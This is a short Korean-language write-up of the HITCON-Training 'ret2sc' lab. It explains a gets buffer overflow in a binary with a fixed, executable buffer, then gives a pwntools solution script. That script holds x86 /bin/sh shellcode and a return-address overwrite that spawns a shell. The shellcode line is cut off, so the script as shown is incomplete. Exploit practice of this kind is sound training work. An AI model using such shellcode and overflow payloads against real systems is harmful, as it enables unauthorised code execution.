문제
해당 binary는 read를 통해 hard coding된 영역에 0x32byte 만큼 입력을 받는다. 그리고 get 함수를 호출하는데 이 get 함수를 이용하면 bof를 발생시킬 수 있다.
hard coding된 영역은 rwx권한이 부여되어 있다.
ALSR이 걸려 있으므로 hard coding된 영역에 shellcode를 삽입한 뒤 get을 이용해 해당 주소로 jmp하면 shell을 얻을 수 있다.
풀이
#!/usr/bin/python
from pwn import *
file_path='/home/sungyun/HITCON-Training/LAB/lab3/ret2sc'
shell="\x90"*20
shell+="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x8$
pay="A"*32+"\x60\xa0\x04\x08"
p=process(file_path)
p.recvuntil(":")
p.send(shell)
p.recvuntil(":")
p.sendline(pay)
p.interactive()